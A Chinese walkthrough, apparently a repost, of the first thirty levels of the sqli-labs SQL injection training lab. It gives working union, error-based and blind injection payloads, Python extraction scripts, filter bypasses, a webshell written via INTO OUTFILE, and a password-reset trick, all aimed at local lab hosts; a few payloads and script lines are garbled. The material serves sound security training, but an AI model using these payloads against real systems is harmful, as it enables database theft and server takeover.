强丈大 / 黑客技术 / Sqli_labs65关通关详解(上)

分享

   

Sqli_labs65关通关详解(上)

2018-01-16  强丈大



本菜鸡打这个靶场打了好多天,个人觉得这个靶场对于sql注入可以更好的运用,虽然绕过姿势并不多,但是还是比较基础的,循序渐进,特别适合新手学习,但是网上的解析很杂,很难去找到一篇比较完整的,我在学习过程中写了下来,如果错误,请指教。


话不多少,链接在此:https://github.com/Audi-1/sqli-labs



Less-1

这个题目是基于错误,单引号,字符型注入,

http://127.0.0.1/sqli/Less-1/?id=1'     //报错

http://127.0.0.1/sqli/Less-1/?id=1' or '1'='1    //正常

可以通过单引号闭合进行注入。

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23  //正常

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23   //报错

可以看出总共有三列,结合union查询。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 %23  //暴库

这里给出union联合查询的使用方法:

查数据库名:select database()   //

查询所有数据库名:union SELECT group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA

 

爆出所有数据库:SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA

 

查数据库名为fanke下面的表名(16进制编码):union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65

information_schema.tables:存储mysql数据库下面的所有表名信息的表

table_schema:数据库名

Table_name:表名

 

查user表名下的列名信息:union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572

column_name:列名

information_schema.columns :存储mysql数据库下面的所有列名信息的表

table_name:表名

 

查user表名下列名username,password的数据:

union select 1,username,password,4,5 from user



Less-2

数字型注入,不需要去闭合,给出payload:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3



Less-3

http://127.0.0.1/sqli/Less-3/?id=1'

error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

根据报错回显中可以知道需要去闭合()。

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,database(),3 %23



Less-4

双引号闭合

http://127.0.0.1/sqli/Less-4/?id=-1') union select 1,database(),3 %23



Less-5

可以通过报错注入

http://127.0.0.1/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

也可以通过盲注,脚本如下

#Author:p0desta

import requests

import string

import sys

global findBit

import binascii

 

Flag_yes = 'You are in'

def sendPayload(payload):

         url = 'http://127.0.0.1/sqli/Less-5/?id=1'+ payload

         content = requests.get(url).text

         return content

def findDatabaseNumber():

         count = 1

         while count:

                 payload = ''AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ='

                 payload = payload + str(count) + '--+'

                 recv = sendPayload(payload)

                 if 'You are in' in recv:

                          return count

                 else:

                          count += 1

def findTableNumber(dbname):

         count = 1

         dbname = '0x' + str(binascii.b2a_hex(dbname))

         while count:

                 payload = ''AND (select count(table_name) from information_schema.tables where table_schema='+dbname+') ='

                 payload = payload + str(count) + '--+'

                 recv = sendPayload(payload)

                 if Flag_yes in recv:

                          return count

                 else:

                          count += 1

def findColumnNumber(tableName):

         count = 1

         tableName = '0x' + str(binascii.b2a_hex(tableName))

         while count:

                 payload = ''AND (select count(column_name) from information_schema.columns where table_name='+tableName+') ='

                 payload = payload + str(count) + '--+'

                 recv = sendPayload(payload)

                 if Flag_yes in recv:

                          return count

                 else:

                          count += 1

def findDataNumber(columnName,tableName):

         count = 1

         while count:

                 payload = ''AND (select count('+columnName+') from '+tableName+') ='

                 payload = payload + str(count) + '--+'

                 recv = sendPayload(payload)

                 if Flag_yes in recv:

                          return count

                 else:

                          count += 1

 

 

def getDatabaseName(dbNum):

         global findBit

         for k in range(dbNum):

                 i = 1

                 while i :

                          findBit = 0

                          doubleSearchDbs(-1,255,i,k)

                          i += 1

                          if findBit == 1:

                                   sys.stdout.write('`\r\n')

                                   break

def getTableName(tableNum,dbName):

         global findBit

         dbName = '0x' + str(binascii.b2a_hex(dbName))

         for k in range(tableNum):

                 i = 1

                 while i :

                          findBit = 0

                          doubleSearchTable(-1,255,i,k,dbName)

                          i += 1

                          if findBit == 1:

                                   sys.stdout.write('\r\n')

                                   break

def getColumnName(columnNum,tableName):

         global findBit

         tableName = '0x' + str(binascii.b2a_hex(tableName))

         for k in range(columnNum):

                 i = 1

                 while i :

                          findBit = 0

                          doubleSearchColumn(-1,255,i,k,tableName)

                          i += 1

                          if findBit == 1:

                                   sys.stdout.write('\r\n')

                                   break

def getDataName(dataNum,columnName,tableName):

         global findBit

         for k in range(dataNum):

                 i = 1

                 while i :

                          findBit = 0

                          doubleSearchData(-1,255,i,k,columnName,tableName)

                          i += 1

                          if findBit == 1:

                                   sys.stdout.write('\r\n')

                                   break

def doubleSearchDbs(leftNum,rightNum,i,k):

         global findBit

         midNum = (leftNum + rightNum) / 2

         if (rightNum != leftNum +1):

                 querysql = ''AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT ' + str(k) + ',1),' + str(i) + ',1)) > ' + str(midNum) + '--+'

                 recv = sendPayload(querysql)

                 if Flag_yes in recv:

                          doubleSearchDbs(midNum,rightNum,i,k)

                 else:

                          doubleSearchDbs(leftNum,midNum,i,k)

         else:

                 if rightNum != 0:

                          sys.stdout.write(chr(rightNum))

                          sys.stdout.flush()

                 else:

                          findBit = 1

                          return

def doubleSearchTable(leftNum,rightNum,i,k,dbName):

         global findBit

         midNum = (leftNum + rightNum) / 2

         if (rightNum != leftNum +1):

                 querysql = ''AND ASCII(substr((SELECT table_name  FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='+ dbName+' limit ' + str(k) + ',1),' + str(i) + ',1)) > ' + str(midNum) + '--+'

                 recv = sendPayload(querysql)

                 if Flag_yes in recv:

                          doubleSearchTable(midNum,rightNum,i,k,dbName)

                 else:

                          doubleSearchTable(leftNum,midNum,i,k,dbName)

         else:

                 if rightNum != 0:

                          sys.stdout.write(chr(rightNum))

                          sys.stdout.flush()

                 else:

                          findBit = 1

                          return

def doubleSearchColumn(leftNum,rightNum,i,k,tableName):

         global findBit

         midNum = (leftNum + rightNum) / 2

         if (rightNum != leftNum +1):

                 querysql = ''AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name='+ tableName+' limit ' + str(k) + ',1),' + str(i) + ',1)) > ' + str(midNum) + '--+'

                 recv = sendPayload(querysql)

                 if Flag_yes in recv:

                          doubleSearchColumn(midNum,rightNum,i,k,tableName)

                 else:

                          doubleSearchColumn(leftNum,midNum,i,k,tableName)

         else:

                 if rightNum != 0:

                          sys.stdout.write(chr(rightNum))

                          sys.stdout.flush()

                 else:

                          findBit = 1

                          return

def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):

         global findBit

         midNum = (leftNum + rightNum) / 2

         if (rightNum != leftNum +1):

                 querysql = ''AND ascii(substr((SELECT '+ columnName+' from ' +tableName + ' limit ' + str(k) + ',1),' + str(i) + ',1)) > ' + str(midNum) + '--+'

                 recv = sendPayload(querysql)

                 if Flag_yes in recv:

                          doubleSearchData(midNum,rightNum,i,k,columnName,tableName)

                 else:

                          doubleSearchData(leftNum,midNum,i,k,columnName,tableName)

         else:

                 if rightNum != 0:

                          sys.stdout.write(chr(rightNum))

                          sys.stdout.flush()

                 else:

                          findBit = 1

                          return

def exp():

         dbNum = findDatabaseNumber()

         print 'the number of database is '+str(dbNum)

         getDatabaseName(dbNum)

         dbName = raw_input('Find tables from :')

         tableNum = findTableNumber(dbName)

         print 'the nameber of table is: ' + str(tableNum)     

         getTableName(tableNum,dbName)

         tableName = raw_input('Find columns from :')

         columnNum = findColumnNumber(tableName)

         print 'the number of column is: ' + str(columnNum)

         getColumnName(columnNum,tableName)

         columnName = raw_input('Find data from :')

         dataNum = findDataNumber(columnName,tableName)

         print 'the number of data is :' + str(dataNum)

         getDataName(dataNum,columnName,tableName)

exp()



Less-6

同上,改为双引号闭合。



Less-7

考查mysql对文件操作

限制:

  • 需要有读取文件的权限

  • 需要知道绝对物理路径

load_file()

这里需要注意对路径的转义。

+---------------------------+

| load_file('D://test.txt') |

+---------------------------+

| p0desta                   |

+---------------------------+

+--------------------------+

| load_file('D:/test.txt') |

+--------------------------+

| p0desta                  |

+--------------------------+

+---------------------------------------------------+

| load_file(char(68,58,92,116,101,115,116,46,116,120,116)) |

+---------------------------------------------------+

| p0desta                                                  |

+---------------------------------------------------+

+---------------------------------------+

| load_file(0x443A2F2F746573742E747874) |

+---------------------------------------+

| p0desta                               |

+---------------------------------------+

数据导出

mysql> select database() into outfile 'D://phpstudy//www//1.txt';

ERROR 1086 (HY000): File 'D://phpstudy//www//1.txt' already exists

mysql> select database() into outfile 'D://phpstudy//www//2.txt';

Query OK, 1 row affected (0.00 sec)

第一次写的时候1.txt已经存在,写入失败。

直接写webshell

mysql> select '' into outfile 'D:/phpstudy/WWW/p0desta.php';

Query OK, 1 row affected (0.00 sec)

Less-7

payload:http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,'' into outfile 'D:\\phpstudy\\WWW\\shell.php' %23



Less-8

构造个bool条件进行盲注,直接用之前写的那个盲注模板脚本就行。



Less-9

基于时间的注入

写了两个简单的脚本:

# -*- coding: utf-8 -*-

import requests

import time

url = 'http://127.0.0.1/sqli/Less-8/?id=1'

def check(payload):

         url_new = url + payload

         time_start = time.time()

         content = requests.get(url=url_new)

         time_end = time.time()

         if time_end - time_start >5:

                 return 1

result  = ''

s = r'0123456789abcdefghijklmnopqrstuvwxyz'

for i in xrange(1,100):

    for c in s:

        payload = ''and if(substr(database(),%d,1)='%c',sleep(5),1)--+' % (i,c)

        if check(payload):

            result += c

            break

    print result

# -*- coding: utf-8 -*-

import requests

import time

url = 'http://127.0.0.1/sqli/Less-8/?id=1'

def check(payload):

         url_new = url + payload

         time_start = time.time()

         content = requests.get(url=url_new)

         time_end = time.time()

         if time_end - time_start >5:

                 return 1

result  = ''

panduan = ''

ll=0

s = r'0123456789abcdefghijklmnopqrstuvwxyz'

for i in xrange(1,100):

    for c in s:

        payload = ''and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+' % (i,c)

        if check(payload):

            result += c

            break

    if ll==len(result):

         print 'table_name:  '+result

         end = raw_input('-------------')

    ll = len(result)

    print result



Less-10

双引号闭合的盲注。



less-11

有回显,报错注入。                                            

usernae = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

password = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

奉上我收藏的报错语句

1.通过floor报错,注入语句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

2.通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

 

3.通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

 

4.通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

 

5.通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

 

6.通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

 

7.通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

 

8.通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

 

9.通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

 

10.通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

 

11.通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

 

12.通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );



less-12

与上一关基本相同,区别在于

$uname='''.$uname.''';

         $passwd='''.$passwd.''';

         @$sql='SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1';

payload如下

admin')and 1=(updatexml(1,concat(0x3a,(select user())),1))#



less-13

post数据:

uname=admin'&passwd=chybeta&submit=Submit

报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'chybeta') LIMIT 0,1' at line 1

根据报错语句可以猜测出闭合情况,代码如下

@$sql='SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1';

有报错,直接报错注入,闭合一下就OK。



less-14

与前面的区别就在于

$uname='''.$uname.''';

         $passwd='''.$passwd.''';

         @$sql='SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1';

注意使用双引号闭合。

payload如下:

admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#



less-15

没有报错回显,闭合之后盲注。 


可见构造了布尔条件,接下来写脚本跑一下就可以了。



less-16

跟上一关差不多,只不过闭合语句不同。

$uname='''.$uname.''';

         $passwd='''.$passwd.''';

         @$sql='SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1';

脚本如下:

import requests

import string

import sys

global findBit

def sendPayload(payload):

         proxy = {'http':'http://127.0.0.1:8080'}

         url = 'http://localhost:20000/sqllab/Less-16/index.php'

         data = 'uname=' + payload + '&passwd=chybeta&submit=Submit'

         headers = {'Content-Type': 'application/x-www-form-urlencoded'}

         content = requests.post(url,data=data,headers=headers,proxies=proxy)

         return content.text

flag = 'flag.jpg'

def generateTarget(flag):

         if flag == 'database':

                 return 'database()'

         elif flag == 'tables':

                 return '(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)'

         elif flag == 'columns':

                 return '(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)'

         elif flag == 'data':

                 return '(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)'

def doubleSearch(leftNum,rightNum,i,target):

         global findBit

         midNum = (leftNum + rightNum) / 2

         if (rightNum != leftNum +1):

                 payload = 'admin') and%09(%09select%09ascii(substr(' +generateTarget(target) +'%09from%09'+ str(i) +'%09for%091))<='+str(midnum)>

                 recv = sendPayload(payload)

                 if flag in recv:

                          doubleSearch(leftNum,midNum,i,target)

                 else:

                          doubleSearch(midNum,rightNum,i,target)

         else:

                 if rightNum != 0:

                          sys.stdout.write(chr(rightNum))

                          sys.stdout.flush()

                 else:

                          findBit = 1

                          return

def exp():

         global findBit

         i = 1

         findBit = 0

         print 'The database:'

         target = 'database'

         while i :

                 doubleSearch(-1,255,i,target)

                 i += 1

                 if findBit == 1:

                          sys.stdout.write('\r\n')

                          break

exp()

注意闭合一下然后构造布尔条件注入就可以。



less-17

function check_input($value)

         {

         if(!empty($value))

                 {

                 // truncation (see comments)

                 $value = substr($value,0,15);

                 }

 

                 // Stripslashes if magic quotes enabled

                 if (get_magic_quotes_gpc())

                          {

                          $value = stripslashes($value);

                          }

 

                 // Quote if not a number

                 if (!ctype_digit($value))

                          {

                          $value = ''' . mysql_real_escape_string($value) . ''';

                          }

                

         else

                 {

                 $value = intval($value);

                 }

         return $value;

         }

 

// take the variables

if(isset($_POST['uname']) && isset($_POST['passwd']))

 

{

//making sure uname is not injectable

$uname=check_input($_POST['uname']); 

$passwd=$_POST['passwd'];

 

// connectivity

@$sql='SELECT username, password FROM users WHERE username= $uname LIMIT 0,1';

简单分析一下代码,首先有个waf处理,但是waf并没有对password使用,而且有报错回显,可以直接通过报错注入,报错注入这里不再多说,上面已经说明。



less-18

这里就要用到burpsuite了,这三关都是考查对header头进行注入

$uname = check_input($_POST['uname']); 

    $passwd = check_input($_POST['passwd']);

uname和passwd都进行了过滤,在这里进行注入是行不通的。

$uagent = $_SERVER['HTTP_USER_AGENT']; 

    $insert='INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)';

所以可以利用构造User Agent进行注入。
这里推荐使用Burpsuite,毕竟是神器。

这里跟前面的报错情况就一样了,只不过构造的位置不同而已。



less-19

情况跟上面一样,只不过位置不同。



less-20

情况跟上面一样,只不过位置不同,不再赘述。



less 21

登陆账户,抓包发现 

用户名经过base64编码传输,通过修改uname进行注入攻击。


admin')and 1=(updatexml(1,concat(0x3a,(select user())),1))#


报错。

代码分析

注入完研究一下代码,可以看到这里如果没有设置cookie的话

$sql='SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1';

                 $result1 = mysql_query($sql);

                 $row1 = mysql_fetch_array($result1);

将用户名和密码代入数据库查询,查询到的话设置cookie

setcookie('uname', base64_encode($row1['username']), time()+3600);

username和password有waf,但是cookie这里可以注入,有报错回显,直接报错注入。

payload:

uname=YWRtaW4nKWFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=

 

Issue with your mysql: XPATH syntax error: ':root@localhost'



less-22

使用双引号去闭合,直接用报错语句去注入

admin') and 1=(updatexml(1,concat(0x3a,(select user())),1))#

原来这个和21关不太一样,不需要)去闭合。 

Cookie:

uname=YWRtaW4iIGFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=



less-23

使用burp suite跑一边字典,发现过滤了注释符号,提交?id=1
报错

syntax to use near ''1'' LIMIT 0,1'


注释符号没法用了但是可以使用

id=-1' or '1'='1

payload:id=-1' union select 1,database(),'3

相当于

mysql> select * from users where id='-1' union select 1,database(),'3' limit 0,1;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

|  1 | security | 3        |

+----+----------+----------+

1 row in set (0.06 sec)



less-24

首先根据正常思路走一步,然后找一下可能存在注入的地方 

随便注册了一个123的账户,然后有个重置密码功能,给个人猜测这里可能存在越权或者注入,但是既然是考查注入,那么方向就明确了。
看一下代码

$sql = 'UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ';

既然这样那么就可以通过控制username语句不执行判断password了。

$sql = 'insert into users ( username, password) values(\'$username\', \'$pass\')';

首先注册一个账号插入数据库

$sql = 'UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ';

如果注册账号为admin'#的话代入这个更新语句

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

成功闭合并且注释掉了后面的语句,重置了admin账号的密码。



less-25

过滤了or和and。

双写可绕过

http://192.168.211.145/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infOorrmation_schema.tables where table_schema=database()%23

function blacklist($id)

{

         $id= preg_replace('/or/i','', $id);                   //strip out OR (non case sensitive)

         $id= preg_replace('/AND/i','', $id);          //Strip out AND (non case sensitive)

        

         return $id;

}

查看代码发现只有一边过滤。



less-25a

这个题是25的拓展,加了盲注

http://192.168.211.145/sqli/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23

写个脚本跑一下就行了。



less-26

过滤的挺恶心的感觉

function blacklist($id)

{

         $id= preg_replace('/or/i','', $id);                   //strip out OR (non case sensitive)

         $id= preg_replace('/and/i','', $id);          //Strip out AND (non case sensitive)

         $id= preg_replace('/[\/\*]/','', $id);                //strip out /*

         $id= preg_replace('/[--]/','', $id);          //Strip out --

         $id= preg_replace('/[#]/','', $id);                   //Strip out #

         $id= preg_replace('/[\s]/','', $id);          //Strip out spaces

         $id= preg_replace('/[\/\\\\]/','', $id);               //Strip out slashes

         return $id;

}

可以使用没空格的报错注入

?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1

继续这个思路往下做,不是用空格的话用括号绕过,or和and还是双写绕过。

http://192.168.211.145/sqli/Less-26/?id=0'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1

XPATH syntax error: '\emails,referers,uagents,users'

 


less-26a

这个题也是26关的拓展,改成了盲注,思路一样,构造一下bool条件,写个脚本跑一下就可以。

?id=0'||(select(substr((select(database())),1,1)))='s



less-27

经过测试可以发现是select等是用白名单过滤的,直接大小写混合绕过,考报错,构造报错语句。

http://192.168.211.145/sqli/Less-27/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1


看网上的都是使用%0a绕过的空格,应该是版本的问题吧,并不全适用。



less-27a

拓展的27关,改一下构造bool条件,写个脚本跑一下即可。

http://192.168.211.145/sqli/Less-27/?id=-0%27||(seleCt(substr((seleCt(database())),1,1)))='s



less-28

这关应该是考报错的,但是源代码里却把print_r(mysql_error());注释掉了,应该是作者的忘记了吧。

自己改了一下。

看一下过滤的的代码

function blacklist($id)

{

$id= preg_replace('/[\/\*]/','', $id);                                  //strip out /*

$id= preg_replace('/[--]/','', $id);                           //Strip out --.

$id= preg_replace('/[#]/','', $id);                                     //Strip out #.

$id= preg_replace('/[ +]/','', $id);                   //Strip out spaces.

//$id= preg_replace('/select/m','', $id);                                //Strip out spaces.

$id= preg_replace('/[ +]/','', $id);                   //Strip out spaces.

$id= preg_replace('/union\s+select/i','', $id);            //Strip out UNION & SELECT.

return $id;

}

如果报错注入的话直接用之前的payload就可以。

http://192.168.211.145/sqli/Less-28/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

但是如果就是去绕union select呢, payload如下

http://192.168.211.145/sqli/Less-28/?id=0')union(select%0d1,database(),'3



less-28a

这个过滤的就比28关少很多了,union查询也可以,盲注的话也可以,思路就很多了。



less-29

这个题看网上写的直接在index.php页面进行注入的,那个没有任何防护,题目应该是在login.php页面。

function java_implimentation($query_string)

{

         $q_s = $query_string;

         $qs_array= explode('&',$q_s);

 

 

         foreach($qs_array as $key => $value)

         {

                 $val=substr($value,0,2);

                 if($val=='id')

                 {

                          $id_value=substr($value,3,30);

                          return $id_value;

                          echo '
';

                          break;

                 }

 

         }

 

}

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.

function whitelist($input)

{

         $match = preg_match('/^\d+$/', $input);

         if($match)

         {

                 //echo 'you are good';

                 //return $match;

         }

         else

         {       

                 header('Location: hacked.php');

                 //echo 'you are bad';

         }

}

$qs = $_SERVER['QUERY_STRING'];

         $hint=$qs;

         $id1=java_implimentation($qs);

         $id=$_GET['id'];

         //echo $id1;

         whitelist($id1);

接受字符串后首先进行分组,分组标志是&,但是只返回了第一组进行验证,那么就可以构造

login.php?id=1&id=' union select 1,database(),3 --+



less-30

跟上题差不多,只不过双引号闭合。

http://192.168.211.145/sqli/Less-30/?id=1&id=' union select 1,database(),3 --+


    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多
    喜欢该文的人也喜欢 更多

    ×
    ×

    ¥.00

    微信或支付宝扫码支付:

    开通即同意《个图VIP服务协议》

    全部>>